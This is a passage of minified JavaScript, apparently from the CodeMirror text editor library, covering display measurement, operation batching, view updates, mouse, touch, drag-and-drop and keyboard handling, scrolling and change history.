g=f-fi(i),h=!1,nt=2*t.display.wrapper.clientWidth,rt=uh(t,i),tt=st(i),w=i.text.length,e=co(i),o=lo(i),v=p(e),it=h,l=p(o),b=h,c,k,a,s,d,y;if(u>l)return pe(r,o,b,1);for(;;){if(tt?o==e||o==uc(i,e,1):1>=o-e){for(c=v>u||l-u>=u-v?e:o,k=u-(c==e?v:l);cf(i.text.charAt(c));)++c;return pe(r,c,c==e?it:b,-1>k?-1:k>1?1:0)}if(a=Math.ceil(w/2),s=e+a,tt)for(s=e,d=0;a>d;++d)s=uc(i,s,1);y=p(s);y>u?(o=s,l=y,(b=h)&&(l+=1e3),w=a):(e=s,v=y,it=h,w-=a)}}function vi(n){var r,t;if(null!=n.cachedTextHeight)return n.cachedTextHeight;if(null==tr){for(tr=i("pre"),r=0;49>r;++r)tr.appendChild(document.createTextNode("x")),tr.appendChild(i("br"));tr.appendChild(document.createTextNode("x"))}return et(n.measure,tr),t=tr.offsetHeight/50,t>3&&(n.cachedTextHeight=t),di(n.measure),t||1}function vu(n){var r,f,u,t;return null!=n.cachedCharWidth?n.cachedCharWidth:(r=i("span","xxxxxxxxxx"),f=i("pre",[r]),et(n.measure,f),u=r.getBoundingClientRect(),t=(u.right-u.left)/10,t>2&&(n.cachedCharWidth=t),t||10)}function sr(n){n.curOp={cm:n,viewChanged:!1,startHeight:n.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++ig};dr?dr.ops.push(n.curOp):n.curOp.ownsGroup=dr={ops:[n.curOp],delayedCallbacks:[]}}function ib(n){var u=n.delayedCallbacks,i=0,r,t;do{for(;i<u.length;i++)u[i]();for(r=0;r<n.ops.length;r++)if(t=n.ops[r],t.cursorActivityHandlers)for(;t.cursorActivityCalled<t.cursorActivityHandlers.length;)t.cursorActivityHandlers[t.cursorActivityCalled++](t.cm)}while(i<u.length)}function hr(n){var r=n.curOp,t=r.ownsGroup,i;if(t)try{ib(t)}finally{for(dr=null,i=0;i<t.ops.length;i++)t.ops[i].cm.curOp=null;rb(t)}}function rb(n){for(var i=n.ops,t=0;t<i.length;t++)ub(i[t]);for(t=0;t<i.length;t++)fb(i[t]);for(t=0;t<i.length;t++)eb(i[t]);for(t=0;t<i.length;t++)ob(i[t]);for(t=0;t<i.length;t++)sb(i[t])}function ub(n){var t=n.cm,i=t.display;iw(t);n.updateMaxLine&&rs(t);n.mustUpdate=n.viewChanged||n.forceUpdate||null!=n.scrollTop||n.scrollToPos&&(n.scrollToPos.from.line<i.viewFrom||n.scrollToPos.to.line>=i.viewTo)||i.maxLineChanged&&t.options.lineWrapping;n.update=n.mustUpdate&&new ue(t,n.mustUpdate&&{top:n.scrollTop,ensure:n.scrollToPos},n.forceUpdate)}function fb(n){n.updatedDisplay=n.mustUpdate&&ls(n.cm,n.update)}function eb(n){var t=n.cm,i=t.display;n.updatedDisplay&&fe(t);n.barMeasure=eu(t);i.maxLineChanged&&!t.options.lineWrapping&&(n.adjustWidthTo=ia(t,i.maxLine,i.maxLine.text.length).left+3,t.display.sizerWidth=n.adjustWidthTo,n.barMeasure.scrollWidth=Math.max(i.scroller.clientWidth,i.sizer.offsetLeft+n.adjustWidthTo+yt(t)+t.display.barWidth),n.maxScrollLeft=Math.max(0,i.sizer.offsetLeft+n.adjustWidthTo-oi(t)));(n.updatedDisplay||n.selectionChanged)&&(n.preparedSelection=i.input.prepareSelection())}function ob(n){var t=n.cm;null!=n.adjustWidthTo&&(t.display.sizer.style.minWidth=n.adjustWidthTo+"px",n.maxScrollLeft<t.doc.scrollLeft&&lr(t,Math.min(t.display.scroller.scrollLeft,n.maxScrollLeft),!0),t.display.maxLineChanged=!1);n.preparedSelection&&t.display.input.showSelection(n.preparedSelection);n.updatedDisplay&&vs(t,n.barMeasure);(n.updatedDisplay||n.startHeight!=t.doc.height)&&er(t,n.barMeasure);n.selectionChanged&&nh(t);t.state.focused&&n.updateInput&&t.display.input.reset(n.typing);n.focus&&n.focus==kt()&&ol(n.cm)}function sb(n){var i=n.cm,t=i.display,u=i.doc,s,e,o,r;if((n.updatedDisplay&&nl(i,n.update),null==t.wheelStartX||null==n.scrollTop&&null==n.scrollLeft&&!n.scrollToPos||(t.wheelStartX=t.wheelStartY=null),null==n.scrollTop||t.scroller.scrollTop==n.scrollTop&&!n.forceScroll||(u.scrollTop=Math.max(0,Math.min(t.scroller.scrollHeight-t.scroller.clientHeight,n.scrollTop)),t.scrollbars.setScrollTop(u.scrollTop),t.scroller.scrollTop=u.scrollTop),null==n.scrollLeft||t.scroller.scrollLeft==n.scrollLeft&&!n.forceScroll||(u.scrollLeft=Math.max(0,Math.min(t.scroller.scrollWidth-oi(i),n.scrollLeft)),t.scrollbars.setScrollLeft(u.scrollLeft),t.scroller.scrollLeft=u.scrollLeft,ss(i)),n.scrollToPos)&&(s=fk(i,f(u,n.scrollToPos.from),f(u,n.scrollToPos.to),n.scrollToPos.margin),n.scrollToPos.isCursor&&i.state.focused&&uk(i,s)),e=n.maybeHiddenMarkers,o=n.maybeUnhiddenMarkers,e)for(r=0;r<e.length;++r)e[r].lines.length||p(e[r],"hide");if(o)for(r=0;r<o.length;++r)o[r].lines.length&&p(o[r],"unhide");t.wrapper.offsetHeight&&(u.scrollTop=i.display.scroller.scrollTop);n.changeObjs&&p(i,"changes",i,n.changeObjs);n.update&&n.update.finish()}function ut(n,t){if(n.curOp)return t();sr(n);try{return t()}finally{hr(n)}}function v(n,t){return function(){if(n.curOp)return t.apply(n,arguments);sr(n);try{return t.apply(n,arguments)}finally{hr(n)}}}function b(n){return function(){if(this.curOp)return n.apply(this,arguments);sr(this);try{return n.apply(this,arguments)}finally{hr(this)}}}function k(n){return function(){var t=this.cm;if(!t||t.curOp)return n.apply(this,arguments);sr(t);try{return n.apply(this,arguments)}finally{hr(t)}}}function la(n,t,i){this.line=t;this.rest=wk(t);this.size=this.rest?c(h(this.rest))-i+1:1;this.node=this.text=null;this.hidden=pi(n,t)}function we(n,t,i){for(var o,e,f=[],u=t;i>u;u=o)e=new la(n.doc,r(n.doc,u),u),o=u+e.size,f.push(e);return f}function it(n,t,i,r){var u,f,o,s,e;null==t&&(t=n.doc.first);null==i&&(i=n.doc.first+n.doc.size);r||(r=0);u=n.display;(r&&i<u.viewTo&&(null==u.updateLineNumbers||u.updateLineNumbers>t)&&(u.updateLineNumbers=t),n.curOp.viewChanged=!0,t>=u.viewTo)?hi&&vh(n.doc,t)<u.viewTo&&si(n):i<=u.viewFrom?hi&&wv(n.doc,i+r)>u.viewFrom?si(n):(u.viewFrom+=r,u.viewTo+=r):t<=u.viewFrom&&i>=u.viewTo?si(n):t<=u.viewFrom?(f=be(n,i,i+r,1),f?(u.view=u.view.slice(f.index),u.viewFrom=f.lineN,u.viewTo+=r):si(n)):i>=u.viewTo?(f=be(n,t,t,-1),f?(u.view=u.view.slice(0,f.index),u.viewTo=f.lineN):si(n)):(o=be(n,t,t,-1),s=be(n,i,i+r,1),o&&s?(u.view=u.view.slice(0,o.index).concat(we(n,o.lineN,s.lineN)).concat(u.view.slice(s.index)),u.viewTo+=r):si(n));e=u.externalMeasured;e&&(i<e.lineN?e.lineN+=r:t<e.lineN+e.size&&(u.externalMeasured=null))}function ri(n,t,i){var r,u,f,e;n.curOp.viewChanged=!0;r=n.display;u=n.display.externalMeasured;(u&&t>=u.lineN&&t<u.lineN+u.size&&(r.externalMeasured=null),t<r.viewFrom||t>=r.viewTo)||(f=r.view[yi(n,t)],null!=f.node&&(e=f.changes||(f.changes=[]),-1==d(e,i)&&e.push(i)))}function si(n){n.display.viewFrom=n.display.viewTo=n.doc.first;n.display.view=[];n.display.viewOffset=0}function yi(n,t){if(t>=n.display.viewTo||(t-=n.display.viewFrom,0>t))return null;for(var r=n.display.view,i=0;i<r.length;i++)if(t-=r[i].size,0>t)return i}function be(n,t,i,r){var o,u=yi(n,t),f=n.display.view,s,e;if(!hi||i==n.doc.first+n.doc.size)return{index:u,lineN:i};for(s=0,e=n.display.viewFrom;u>s;s++)e+=f[s].size;if(e!=t){if(r>0){if(u==f.length-1)return null;o=e+f[u].size-t;u++}else o=e-t;t+=o;i+=o}for(;vh(n.doc,i)!=i;){if(u==(0>r?0:f.length-1))return null;i+=r*f[u-(0>r?1:0)].size;u+=r}return{index:u,lineN:i}}function hb(n,t,i){var r=n.display,u=r.view;0==u.length||t>=r.viewTo||i<=r.viewFrom?(r.view=we(n,t,i),r.viewFrom=t):(r.viewFrom>t?r.view=we(n,t,r.viewFrom).concat(r.view):r.viewFrom<t&&(r.view=r.view.slice(yi(n,t))),r.viewFrom=t,r.viewTo<i?r.view=r.view.concat(we(n,r.viewTo,i)):r.viewTo>i&&(r.view=r.view.slice(0,yi(n,i))));r.viewTo=i}function aa(n){for(var t,r=n.display.view,u=0,i=0;i<r.length;i++)t=r[i],t.hidden||t.node&&!t.changes||++u;return u}function cb(t){function o(){i.activeTouch&&(c=setTimeout(function(){i.activeTouch=null},1e3),e=i.activeTouch,e.end=+new Date)}function y(n){if(1!=n.touches.length)return!1;var t=n.touches[0];return t.radiusX<=1&&t.radiusY<=1}function h(n,t){if(null==t.left)return!0;var i=t.left-n.left,r=t.top-n.top;return i*i+r*r>400}var i=t.display,c,e,r;u(i.scroller,"mousedown",v(t,va));s&&11>a?u(i.scroller,"dblclick",v(t,function(n){var i,r;bt(t,n)||(i=cr(t,n),!i||pa(t,n)||ui(t.display,n)||(g(n),r=t.findWordAt(i),le(t.doc,r.anchor,r.head)))})):u(i.scroller,"dblclick",function(n){bt(t,n)||g(n)});fc||u(i.scroller,"contextmenu",function(n){nv(t,n)});e={end:0};u(i.scroller,"touchstart",function(n){if(!y(n)){clearTimeout(c);var t=+new Date;i.activeTouch={start:t,moved:!1,prev:t-e.end<=300?e:null};1==n.touches.length&&(i.activeTouch.left=n.touches[0].pageX,i.activeTouch.top=n.touches[0].pageY)}});u(i.scroller,"touchmove",function(){i.activeTouch&&(i.activeTouch.moved=!0)});u(i.scroller,"touchend",function(r){var u=i.activeTouch,s,e;u&&!ui(i,r)&&null!=u.left&&!u.moved&&new Date-u.start<300&&(e=t.coordsChar(i.activeTouch,"page"),s=!u.prev||h(u,u.prev)?new l(e,e):!u.prev.prev||h(u,u.prev.prev)?t.findWordAt(e):new l(n(e.line,0),f(t.doc,n(e.line+1,0))),t.setSelection(s.anchor,s.head),t.focus(),g(r));o()});u(i.scroller,"touchcancel",o);u(i.scroller,"scroll",function(){i.scroller.clientHeight&&(yu(t,i.scroller.scrollTop),lr(t,i.scroller.scrollLeft,!0),p(t,"scroll",t))});u(i.scroller,"mousewheel",function(n){wa(t,n)});u(i.scroller,"DOMMouseScroll",function(n){wa(t,n)});u(i.wrapper,"scroll",function(){i.wrapper.scrollTop=i.wrapper.scrollLeft=0});i.dragFunctions={simple:function(n){bt(t,n)||cc(n)},start:function(n){bb(t,n)},drop:v(t,wb)};r=i.input.getField();u(r,"keyup",function(n){da.call(t,n)});u(r,"keydown",v(t,ka));u(r,"keypress",v(t,ga));u(r,"focus",hf(sh,t));u(r,"blur",hf(pu,t))}function lb(n,i,r){var o=r&&r!=t.Init,f,e;!i!=!o&&(f=n.display.dragFunctions,e=i?u:dt,e(n.display.scroller,"dragstart",f.start),e(n.display.scroller,"dragenter",f.simple),e(n.display.scroller,"dragover",f.simple),e(n.display.scroller,"drop",f.drop))}function ab(n){var t=n.display;(t.lastWrapHeight!=t.wrapper.clientHeight||t.lastWrapWidth!=t.wrapper.clientWidth)&&(t.cachedCharWidth=t.cachedTextHeight=t.cachedPaddingH=null,t.scrollbarsClipped=!1,n.setSize())}function ui(n,t){for(var i=uf(t);i!=n.wrapper;i=i.parentNode)if(!i||1==i.nodeType&&"true"==i.getAttribute("cm-ignore-events")||i.parentNode==n.sizer&&i!=n.mover)return!0}function cr(t,i,u,f){var a=t.display,s,c,h,o,e,l;if(!u&&"true"==uf(i).getAttribute("cm-not-content"))return null;h=a.lineSpace.getBoundingClientRect();try{s=i.clientX-h.left;c=i.clientY-h.top}catch(i){return null}return e=oh(t,s,c),f&&1==e.xRel&&(o=r(t.doc,e.line).text).length==e.ch&&(l=vt(o,o.length,t.options.tabSize)-o.length,e=n(e.line,Math.max(0,Math.round((s-na(t.display).left)/vu(t.display))-l))),e}function va(n){var t=this,i=t.display,r;if(!(i.activeTouch&&i.input.supportsTouch()||bt(t,n))){if(i.shift=n.shiftKey,ui(i,n))return void(y||(i.scroller.draggable=!1,setTimeout(function(){i.scroller.draggable=!0},100)));if(!pa(t,n)){r=cr(t,n);switch(window.focus(),yy(n)){case 1:r?vb(t,n,r):uf(n)==i.scroller&&g(n);break;case 2:y&&(t.state.lastMiddleDown=+new Date);r&&le(t.doc,r);setTimeout(function(){i.input.focus()},20);g(n);break;case 3:fc?nv(t,n):nk(t)}}}}function vb(n,t,i){var r,u,h,f,e;s?setTimeout(hf(ol,n),0):n.curOp.focus=kt();u=+new Date;yo&&yo.time>u-400&&0==o(yo.pos,i)?r="triple":vo&&vo.time>u-400&&0==o(vo.pos,i)?(r="double",yo={time:u,pos:i}):(r="single",vo={time:u,pos:i});f=n.doc.sel;e=lt?t.metaKey:t.ctrlKey;n.options.dragDrop&&cg&&!he(n)&&"single"==r&&(h=f.contains(i))>-1&&!f.ranges[h].empty()?yb(n,t,i,e):pb(n,t,i,r,e)}function yb(n,t,i,r){var f=n.display,o=+new Date,e=v(n,function(u){y&&(f.scroller.draggable=!1);n.state.draggingText=!1;dt(document,"mouseup",e);dt(f.scroller,"drop",e);Math.abs(t.clientX-u.clientX)+Math.abs(t.clientY-u.clientY)<10&&(g(u),!r&&+new Date-200<o&&le(n.doc,i),y||s&&9==a?setTimeout(function(){document.body.focus();f.input.focus()},20):f.input.focus())});y&&(f.scroller.draggable=!0);n.state.draggingText=e;f.scroller.dragDrop&&f.scroller.dragDrop();u(document,"mouseup",e);u(f.scroller,"drop",e)}function pb(t,i,e,s,h){function ht(i){var d,p,v,u;if(0!=o(rt,i))if(rt=i,"rect"==s){for(var u=[],k=t.options.tabSize,it=vt(r(c,e.line).text,e.ch,k),ut=vt(r(c,i.line).text,i.ch,k),ft=Math.min(it,ut),et=Math.max(it,ut),h=Math.min(e.line,i.line),st=Math.min(t.lastLine(),Math.max(e.line,i.line));st>=h;h++)d=r(c,h).text,p=wy(d,ft,k),ft==et?u.push(new l(n(h,p),n(h,p))):d.length>p&&u.push(new l(n(h,p),n(h,wy(d,et,k))));u.length||u.push(new l(e,e));w(c,ot(b.ranges.slice(0,a).concat(u),a),{origin:"*mouse",scroll:!1});t.scrollIntoView(i)}else{var nt=y,g=nt.anchor,tt=i;"single"!=s&&(v="double"==s?t.findWordAt(i):new l(n(i.line,0),f(c,n(i.line+1,0))),o(v.anchor,g)>0?(tt=v.head,g=se(nt.from(),v.anchor)):(tt=v.anchor,g=oe(nt.to(),v.head)));u=b.ranges.slice(0);u[a]=new l(f(c,g),tt);w(c,ot(u,a),lc)}}function it(n){var f=++tt,i=cr(t,n,!0,"rect"==s),r,u;i&&(0!=o(i,rt)?(t.curOp.focus=kt(),ht(i),r=os(k,c),(i.line>=r.to||i.line<r.from)&&setTimeout(v(t,function(){tt==f&&it(n)}),150)):(u=n.clientY<ft.top?-20:n.clientY>ft.bottom?20:0,u&&setTimeout(v(t,function(){tt==f&&(k.scroller.scrollTop+=u,it(n))}),50)))}function ut(n){tt=1/0;g(n);k.input.focus();dt(document,"mousemove",et);dt(document,"mouseup",st);c.history.lastSelOrigin=null}var k=t.display,c=t.doc,y,a,b,p,d,nt;g(i);b=c.sel;p=b.ranges;(h&&!i.shiftKey?(a=c.sel.contains(e),y=a>-1?p[a]:new l(e,e)):(y=c.sel.primary(),a=c.sel.primIndex),i.altKey)?(s="rect",h||(y=new l(e,e)),e=cr(t,i,!0,!0),a=-1):"double"==s?(d=t.findWordAt(e),y=t.display.shift||c.extend?su(c,y,d.anchor,d.head):d):"triple"==s?(nt=new l(n(e.line,0),f(c,n(e.line+1,0))),y=t.display.shift||c.extend?su(c,y,nt.anchor,nt.head):nt):y=su(c,y,e);h?-1==a?(a=p.length,w(c,ot(p.concat([y]),a),{scroll:!1,origin:"*mouse"})):p.length>1&&p[a].empty()&&"single"==s&&!i.shiftKey?(w(c,ot(p.slice(0,a).concat(p.slice(a+1)),0)),b=c.sel):gs(c,a,y,lc):(a=0,w(c,new ni([y],0),lc),b=c.sel);var rt=e,ft=k.wrapper.getBoundingClientRect(),tt=0,et=v(t,function(n){yy(n)?it(n):ut(n)}),st=v(t,ut);u(document,"mousemove",et);u(document,"mouseup",st)}function ya(n,t,i,r,u){var s,e,o,h,f,c,l,a;try{s=t.clientX;e=t.clientY}catch(t){return!1}if(s>=Math.floor(n.display.gutters.getBoundingClientRect().right))return!1;if(r&&g(t),o=n.display,h=o.lineDiv.getBoundingClientRect(),e>h.bottom||!ft(n,i))return gh(t);for(e-=h.top-o.viewOffset,f=0;f<n.options.gutters.length;++f)if(c=o.gutters.childNodes[f],c&&c.getBoundingClientRect().right>=s)return l=ki(n.doc,e),a=n.options.gutters[f],u(n,i,n,l,a,t),gh(t)}function pa(n,t){return ya(n,t,"gutterClick",!0,nt)}function wb(n){var t=this,i,u,e,o,r;if(!bt(t,n)&&!ui(t.display,n)&&(g(n),s&&(sp=+new Date),i=cr(t,n,!0),u=n.dataTransfer.files,i&&!he(t)))if(u&&u.length&&window.FileReader&&window.File)for(var h=u.length,e=Array(h),c=0,l=function(n,r){var u=new FileReader;u.onload=v(t,function(){if(e[r]=u.result,++c==h){i=f(t.doc,i);var n={from:i,to:i,text:li(e.join("\n")),origin:"paste"};ar(t.doc,n);wl(t.doc,ti(i,ir(n)))}});u.readAsText(n)},r=0;h>r;++r)l(u[r],r);else{if(t.state.draggingText&&t.doc.sel.contains(i)>-1)return t.state.draggingText(n),void setTimeout(function(){t.display.input.focus()},20);try{if(e=n.dataTransfer.getData("Text"),e){if(!t.state.draggingText||(lt?n.altKey:n.ctrlKey)||(o=t.listSelections()),ae(t.doc,ti(i,i)),o)for(r=0;r<o.length;++r)bu(t.doc,"",o[r].anchor,o[r].head,"drag");t.replaceSelection(e,"around","paste");t.display.input.focus()}}catch(n){}}}function bb(n,t){if(s&&(!n.state.draggingText||+new Date-sp<100))return void cc(t);if(!bt(n,t)&&!ui(n.display,t)&&(t.dataTransfer.setData("Text",n.getSelection()),t.dataTransfer.setDragImage&&!fp)){var r=i("img",null,null,"position: fixed; left: 0; top: 0;");r.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";ct&&(r.width=r.height=1,n.display.wrapper.appendChild(r),r._top=r.offsetTop);t.dataTransfer.setDragImage(r,0,0);ct&&r.parentNode.removeChild(r)}}function yu(n,t){Math.abs(n.doc.scrollTop-t)<2||(n.doc.scrollTop=t,gi||as(n,{top:t}),n.display.scroller.scrollTop!=t&&(n.display.scroller.scrollTop=t),n.display.scrollbars.setScrollTop(t),gi&&as(n),cu(n,100))}function lr(n,t,i){(i?t==n.doc.scrollLeft:Math.abs(n.doc.scrollLeft-t)<2)||(t=Math.min(t,n.display.scroller.scrollWidth-n.display.scroller.clientWidth),n.doc.scrollLeft=t,ss(n),n.display.scroller.scrollLeft!=t&&(n.display.scroller.scrollLeft=t),n.display.scrollbars.setScrollLeft(t))}function wa(n,t){var a=oc(t),e=a.x,u=a.y,i=n.display,r=i.scroller,f,h,o;if(e&&r.scrollWidth>r.clientWidth||u&&r.scrollHeight>r.clientHeight){if(u&&lt&&y)n:for(f=t.target,h=i.view;f!=r;f=f.parentNode)for(o=0;o<h.length;o++)if(h[o].node==f){n.display.currentWheelTarget=f;break n}if(e&&!gi&&!ct&&null!=rt)return u&&yu(n,Math.max(0,Math.min(r.scrollTop+u*rt,r.scrollHeight-r.clientHeight))),lr(n,Math.max(0,Math.min(r.scrollLeft+e*rt,r.scrollWidth-r.clientWidth))),g(t),void(i.wheelStartX=null);if(u&&null!=rt){var c=u*rt,s=n.doc.scrollTop,l=s+i.wrapper.clientHeight;0>c?s=Math.max(0,s+c-50):l=Math.min(n.doc.height,l+c+50);as(n,{top:s,bottom:l})}20>po&&(null==i.wheelStartX?(i.wheelStartX=r.scrollLeft,i.wheelStartY=r.scrollTop,i.wheelDX=e,i.wheelDY=u,setTimeout(function(){if(null!=i.wheelStartX){var n=r.scrollLeft-i.wheelStartX,t=r.scrollTop-i.wheelStartY,u=t&&i.wheelDY&&t/i.wheelDY||n&&i.wheelDX&&n/i.wheelDX;i.wheelStartX=i.wheelStartY=null;u&&(rt=(rt*po+u)/(po+1),++po)}},200)):(i.wheelDX+=e,i.wheelDY+=u))}}function ke(n,t,i){if("string"==typeof t&&(t=vf[t],!t))return!1;n.display.input.ensurePolled();var u=n.display.shift,r=!1;try{he(n)&&(n.state.suppressEdits=!0);i&&(n.display.shift=!1);r=t(n)!=wp}finally{n.display.shift=u;n.state.suppressEdits=!1}return r}function kb(n,t,i){for(var u,r=0;r<n.state.keyMaps.length;r++)if(u=yf(t,n.state.keyMaps[r],i,n),u)return u;return n.options.extraKeys&&yf(t,n.options.extraKeys,i,n)||yf(t,n.options.keyMap,i,n)}function de(n,t,i,r){var f=n.state.keySeq,u;if(f){if(fg(t))return"handled";rg.set(50,function(){n.state.keySeq==f&&(n.state.keySeq=null,n.display.input.reset())});t=f+" "+t}return u=kb(n,t,r),"multi"==u&&(n.state.keySeq=t),"handled"==u&&nt(n,"keyHandled",n,t,i),("handled"==u||"multi"==u)&&(g(i),nh(n)),f&&!u&&/\'$/.test(t)?(g(i),!0):!!u}function ba(n,t){var i=eg(t,!0);return i?t.shiftKey&&!n.state.keySeq?de(n,"Shift-"+i,t,function(t){return ke(n,t,!0)})||de(n,i,t,function(t){if(("string"==typeof t?/^go[A-Z]/.test(t):t.motion))return ke(n,t)}):de(n,i,t,function(t){return ke(n,t)}):!1}function db(n,t,i){return de(n,"'"+i+"'",t,function(t){return ke(n,t,!0)})}function ka(n){var t=this,i,r;(t.curOp.focus=kt(),bt(t,n))||(s&&11>a&&27==n.keyCode&&(n.returnValue=!1),i=n.keyCode,t.display.shift=16==i||n.shiftKey,r=ba(t,n),ct&&(sc=r?i:null,!r&&88==i&&!dp&&(lt?n.metaKey:n.ctrlKey)&&t.replaceSelection("",null,"cut")),18!=i||/\bCodeMirror-crosshair\b/.test(t.display.lineDiv.className)||gb(t))}function gb(n){function t(n){18!=n.keyCode&&n.altKey||(ne(i,"CodeMirror-crosshair"),dt(document,"keyup",t),dt(document,"mouseover",t))}var i=n.display.lineDiv;te(i,"CodeMirror-crosshair");u(document,"keyup",t);u(document,"mouseover",t)}function da(n){16==n.keyCode&&(this.doc.sel.shift=!1);bt(this,n)}function ga(n){var t=this,i,r,u;if(!(ui(t.display,n)||bt(t,n)||n.ctrlKey&&!n.altKey||lt&&n.metaKey)){if(i=n.keyCode,r=n.charCode,ct&&i==sc)return sc=null,void g(n);ct&&(!n.which||n.which<10)&&ba(t,n)||(u=String.fromCharCode(null==r?i:r),db(t,n,u)||t.display.input.onKeyPress(n))}}function nk(n){n.state.delayingBlurEvent=!0;setTimeout(function(){n.state.delayingBlurEvent&&(n.state.delayingBlurEvent=!1,pu(n))},100)}function sh(n){n.state.delayingBlurEvent&&(n.state.delayingBlurEvent=!1);"nocursor"!=n.options.readOnly&&(n.state.focused||(p(n,"focus",n),n.state.focused=!0,te(n.display.wrapper,"CodeMirror-focused"),n.curOp||n.display.selForContextMenu==n.doc.sel||(n.display.input.reset(),y&&setTimeout(function(){n.display.input.reset(!0)},20)),n.display.input.receivedFocus()),nh(n))}function pu(n){n.state.delayingBlurEvent||(n.state.focused&&(p(n,"blur",n),n.state.focused=!1,ne(n.display.wrapper,"CodeMirror-focused")),clearInterval(n.display.blinker),setTimeout(function(){n.state.focused||(n.display.shift=!1)},150))}function nv(n,t){ui(n.display,t)||tk(n,t)||n.display.input.onContextMenu(t)}function tk(n,t){return ft(n,"gutterContextMenu")?ya(n,t,"gutterContextMenu",!1,p):!1}function tv(t,i){if(o(t,i.from)<0)return t;if(o(t,i.to)<=0)return ir(i);var u=t.line+i.text.length-(i.to.line-i.from.line)-1,r=t.ch;return t.line==i.to.line&&(r+=ir(i).ch-i.to.ch),n(u,r)}function hh(n,t){for(var u,r=[],i=0;i<n.sel.ranges.length;i++)u=n.sel.ranges[i],r.push(new l(tv(u.anchor,t),tv(u.head,t)));return ot(r,n.sel.primIndex)}function iv(t,i,r){return t.line==i.line?n(r.line,t.ch-i.ch+r.ch):n(r.line+(t.line-i.line),t.ch)}function ik(t,i,r){for(var v,y,s=[],f=n(t.first,0),h=f,u=0;u<i.length;u++){var c=i[u],e=iv(c.from,f,h),a=iv(ir(c),f,h);(f=c.to,h=a,"around"==r)?(v=t.sel.ranges[u],y=o(v.head,v.anchor)<0,s[u]=new l(y?a:e,y?e:a)):s[u]=new l(e,e)}return new ni(s,t.sel.primIndex)}function rv(n,t,i){var r={canceled:!1,from:t.from,to:t.to,text:t.text,origin:t.origin,cancel:function(){this.canceled=!0}};return i&&(r.update=function(t,i,r,u){t&&(this.from=f(n,t));i&&(this.to=f(n,i));r&&(this.text=r);void 0!==u&&(this.origin=u)}),p(n,"beforeChange",n,r),n.cm&&p(n.cm,"beforeChange",n.cm,r),r.canceled?null:{from:r.from,to:r.to,text:r.text,origin:r.origin}}function ar(n,t,i){var u,r;if(n.cm){if(!n.cm.curOp)return v(n.cm,ar)(n,t,i);if(n.cm.state.suppressEdits)return}if(!(ft(n,"beforeChange")||n.cm&&ft(n.cm,"beforeChange"))||(t=rv(n,t,!0)))if(u=op&&!i&&pk(n,t.from,t.to),u)for(r=u.length-1;r>=0;--r)uv(n,{from:u[r].from,to:u[r].to,text:r?[""]:t.text});else uv(n,t)}function uv(n,t){var i,r;(1!=t.text.length||""!=t.text[0]||0!=o(t.from,t.to))&&(i=hh(n,t),hy(n,t,i,n.cm?n.cm.curOp.id:NaN),wu(n,t,i,ah(n,t)),r=[],wi(n,function(n,i){i||-1!=d(r,n.history)||(vy(n.history,t),r.push(n.history));wu(n,t,null,ah(n,t))}))}function ge(n,t,i){var c,v,f,u,y,l;if(!n.cm||!n.cm.state.suppressEdits){for(var r,e=n.history,a=n.sel,o="undo"==t?e.done:e.undone,s="undo"==t?e.undone:e.done,f=0;f<o.length&&(r=o[f],i?!r.ranges||r.equals(n.sel):r.ranges);f++);if(f!=o.length){for(e.lastOrigin=e.lastSelOrigin=null;r=o.pop(),r.ranges;){if(so(r,s),i&&!r.equals(n.sel))return void w(n,r,{clearRedo:!1});a=r}for(c=[],so(a,s),s.push({changes:c,generation:e.generation}),e.generation=r.generation||++e.maxGeneration,v=ft(n,"beforeChange")||n.cm&&ft(n.cm,"beforeChange"),f=r.changes.length-1;f>=0;--f){if(u=r.changes[f],u.origin=t,v&&!rv(n,u,!1))return void(o.length=0);c.push(dh(n,u));y=f?hh(n,u):h(o);wu(n,u,y,hv(n,u));!f&&n.cm&&n.cm.scrollIntoView({from:u.from,to:ir(u)});l=[];wi(n,function(n,t){t||-1!=d(l,n.history)||(vy(n.history,u),l.push(n.history));wu(n,u,null,hv(n,u))})}}}}function fv(t,i){if(0!=i&&(t.first+=i,t.sel=new ni(ef(t.sel.ranges,function(t){return new l(n(t.anchor.line+i,t.anchor.ch),n(t.head.line+i,t.head.ch))}),t.sel.primIndex),t.cm)){it(t.cm,t.first,t.first-i,i);for(var u=t.cm.display,r=u.viewFrom;r<u.viewTo;r++)ri(t.cm,r,"gutter")}}function wu(t,i,u,f){var o,e;if(t.cm&&!t.cm.curOp)return v(t.cm,wu)(t,i,u,f);if(i.to.line<t.first)return void fv(t,i.text.length-1-(i.to.line-i.from.line));i.from.line>t.lastLine()||(i.from.line<t.first&&(o=i.text.length-1-(t.first-i.from.line),fv(t,o),i={from:n(t.first,0),to:n(i.to.line+o,i.to.ch),text:[h(i.text)],origin:i.origin}),e=t.lastLine(),i.to.line>e&&(i={from:i.from,to:n(e,r(t,e).text.length),text:[i.text[0]],origin:i.origin}),i.removed=bi(t,i.from,i.to),u||(u=hh(t,i)),t.cm?rk(t.cm,i,f):bh(t,i,f),ae(t,u,gt))}function rk(n,t,i){var f=n.doc,e=n.display,u=t.from,o=t.to,s=!1,h=u.line,y,l,a,v;n.options.lineWrapping||(h=c(pt(r(f,u.line))),f.iter(h,o.line+1,function(n){if(n==e.maxLine)return(s=!0,!0)}));f.sel.contains(t.from,t.to)>-1&&py(n);bh(f,t,i,pc(n));n.options.lineWrapping||(f.iter(h,u.line+t.text.length,function(n){var t=re(n);t>e.maxLineLength&&(e.maxLine=n,e.maxLineLength=t,e.maxLineChanged=!0,s=!1)}),s&&(n.curOp.updateMaxLine=!0));f.frontier=Math.min(f.frontier,u.line);cu(n,400);y=t.text.length-(o.line-u.line)-1;t.full?it(n):u.line!=o.line||1!=t.text.length||ey(n.doc,t)?it(n,u.line,o.line+1,y):ri(n,u.line,"text");l=ft(n,"changes");a=ft(n,"change");(a||l)&&(v={from:u,to:o,text:t.text,removed:t.removed,origin:t.origin},a&&nt(n,"change",n,v),l&&(n.curOp.changeObjs||(n.curOp.changeObjs=[])).push(v));n.display.selForContextMenu=null}function bu(n,t,i,r,u){if(r||(r=i),o(r,i)<0){var f=r;r=i;i=f}"string"==typeof t&&(t=li(t));ar(n,{from:i,to:r,text:t,origin:u})}function uk(n,t){var u;if(!bt(n,"scrollCursorIntoView")){var 